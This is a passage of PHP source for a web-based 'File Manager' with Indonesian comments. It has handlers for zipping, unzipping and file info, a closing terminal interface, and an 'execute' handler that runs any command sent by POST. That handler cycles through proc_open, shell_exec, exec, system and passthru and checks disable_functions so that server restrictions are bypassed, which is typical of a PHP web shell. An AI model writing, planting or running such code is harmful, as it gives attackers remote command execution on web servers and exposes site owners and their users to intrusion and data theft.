{$results['failed']} failed" : "") ]); break; // ZIP case 'zip': $targets = isset($_POST['targets']) ? json_decode($_POST['targets'], true) : []; $dir = $_POST['dir'] ?? ''; $name = $_POST['name'] ?? 'archive.zip'; $path = getFMAbsolutePath($dir, $isWindows); if (!$path || !is_dir($path)) { echo json_encode(['error' => 'Invalid directory']); exit; } if (!class_exists('ZipArchive')) { echo json_encode(['error' => 'ZipArchive not available']); exit; } $zipPath = $path . ($isWindows ? '\\' : '/') . $name; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { echo json_encode(['error' => 'Cannot create zip']); exit; } foreach ($targets as $target) { $absPath = getFMAbsolutePath($target, $isWindows); if (!$absPath) continue; if (is_file($absPath)) { $zip->addFile($absPath, basename($absPath)); } elseif (is_dir($absPath)) { $zip->addEmptyDir(basename($absPath)); addFolderToZip($absPath, $zip, basename($absPath) . '/'); } } $zip->close(); echo json_encode(['success' => true, 'archive' => $name]); break; // UNZIP case 'unzip': $file = $_POST['file'] ?? ''; $dir = $_POST['dir'] ?? ''; $zipPath = getFMAbsolutePath($file, $isWindows); $destPath = getFMAbsolutePath($dir, $isWindows); if (!$zipPath || !is_file($zipPath) || !$destPath || !is_dir($destPath)) { echo json_encode(['error' => 'Invalid paths']); exit; } if (!class_exists('ZipArchive')) { echo json_encode(['error' => 'ZipArchive not available']); exit; } $zip = new ZipArchive(); if ($zip->open($zipPath) !== true) { echo json_encode(['error' => 'Cannot open archive']); exit; } if ($zip->extractTo($destPath)) { $zip->close(); echo json_encode(['success' => true]); } else { $zip->close(); echo json_encode(['error' => 'Extract failed']); } break; // EXECUTE COMMAND - MENGGUNAKAN SESSION TERMINAL YANG TERPISAH case 'execute': $command = $_POST['command'] ?? ''; // Gunakan directory terminal yang terpisah $path = $_POST['dir'] ?? $_SESSION['terminal_current_dir'] ?? __DIR__; $_SESSION['terminal_current_dir'] = $path; if ($isWindows) { $path = normalizePath($path, $isWindows); } // Pastikan directory valid if (!$path || !is_dir($path)) { $path = __DIR__; if ($isWindows) { $path = normalizePath($path, $isWindows); } $_SESSION['terminal_current_dir'] = $path; } $output = ''; $method = 'none'; $return_var = 0; $changed_dir = false; // Clean command $command = trim($command); if ($isWindows) { $result = executeWindowsCommand($command, $path); if (isset($result['changed']) && $result['changed']) { $_SESSION['terminal_current_dir'] = $result['dir']; setcookie('terminal_current_dir', $result['dir'], time() + (86400 * 30), "/"); $path = $result['dir']; } $output = $result['output']; $return_var = $result['return_var'] ?? 0; $method = 'windows_cmd'; } else { // Handle cd command untuk Linux if (preg_match('/^\s*cd\s+(.+)$/', $command, $matches)) { $new_dir = trim($matches[1], " \t\n\r\0\x0B\"'"); if ($new_dir === '~' || $new_dir === '~/' || $new_dir === '$HOME') { $new_dir = getenv('HOME') ?: '/'; } elseif ($new_dir === '-') { $output = "cd: OLDPWD not set\n"; $changed_dir = false; } else { if ($new_dir[0] !== '/') { $new_dir = $path . '/' . $new_dir; } $new_dir = realpath($new_dir); if ($new_dir && is_dir($new_dir) && is_readable($new_dir)) { $_SESSION['terminal_current_dir'] = $new_dir; setcookie('terminal_current_dir', $new_dir, time() + (86400 * 30), "/"); $path = $new_dir; $changed_dir = true; $output = ""; } else { $output = "cd: {$matches[1]}: No such file or directory\n"; } } echo json_encode([ 'success' => true, 'output' => $output, 'method' => 'cd', 'dir' => $path, 'return_var' => $changed_dir ? 0 : 1, 'changed_dir' => $changed_dir ]); exit; } if (empty($command)) { $command = 'pwd'; } $old_cwd = getcwd(); @chdir($path); if (function_exists('proc_open') && !in_array('proc_open', explode(',', ini_get('disable_functions')))) { $descriptorspec = [ 0 => ['pipe', 'r'], // stdin 1 => ['pipe', 'w'], // stdout 2 => ['pipe', 'w'] // stderr ]; $process = @proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); $errors = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if (!empty($errors)) { $output .= $errors; } if (!empty($output)) $method = 'proc_open'; } } if (empty($output) && function_exists('shell_exec') && !in_array('shell_exec', explode(',', ini_get('disable_functions')))) { $output = @shell_exec($command . ' 2>&1'); $method = 'shell_exec'; } if (empty($output) && function_exists('exec')) { $outputArray = []; @exec($command . ' 2>&1', $outputArray, $return_var); $output = implode("\n", $outputArray); if (!empty($output)) $method = 'exec'; } if (empty($output) && function_exists('system')) { ob_start(); @system($command . ' 2>&1', $return_var); $output = ob_get_clean(); if (!empty($output)) $method = 'system'; } if (empty($output) && function_exists('passthru')) { ob_start(); @passthru($command . ' 2>&1', $return_var); $output = ob_get_clean(); if (!empty($output)) $method = 'passthru'; } } echo json_encode([ 'success' => true, 'output' => $output, 'method' => $method, 'dir' => $path, 'return_var' => $return_var ]); break; // GET FILE INFO FOR EDITING case 'getinfo': $target = $_GET['path'] ?? ''; $path = getFMAbsolutePath($target, $isWindows); if (!$path || !file_exists($path)) { echo json_encode(['error' => 'File not found']); exit; } echo json_encode([ 'success' => true, 'name' => basename($path), 'path' => $path, 'type' => is_dir($path) ? 'dir' : 'file', 'size' => filesize($path), 'size_fmt' => formatSize(filesize($path)), 'modified' => filemtime($path), 'permissions' => $isWindows ? 'rwx' : substr(sprintf('%o', fileperms($path)), -4), 'owner' => function_exists('posix_getpwuid') ? @posix_getpwuid(fileowner($path))['name'] : ($isWindows ? 'Windows' : ''), 'group' => function_exists('posix_getgrgid') ? @posix_getgrgid(filegroup($path))['name'] : ($isWindows ? 'Users' : '') ]); break; default: echo json_encode(['error' => 'Unknown action']); } exit; } // Helper function untuk copy directory recursively function copyDirectory($source, $destination, $isWindows) { if (!is_dir($source)) { return false; } if (!is_dir($destination)) { if (!@mkdir($destination, 0755, true)) { return false; } } $items = @scandir($source); if ($items === false) { return false; } foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $srcPath = $source . ($isWindows ? '\\' : '/') . $item; $dstPath = $destination . ($isWindows ? '\\' : '/') . $item; if (is_dir($srcPath)) { if (!copyDirectory($srcPath, $dstPath, $isWindows)) { return false; } } else { if (!@copy($srcPath, $dstPath)) { return false; } @chmod($dstPath, 0644); } } return true; } ?> ⚡ File Manager
DEMO MODE

Loading storage info...
FM
0 selected
Name Size Permissions Modified Actions
Terminal Testing...
'; } else { echo htmlspecialchars(basename($promptDir) ?: '/') . '$'; } ?>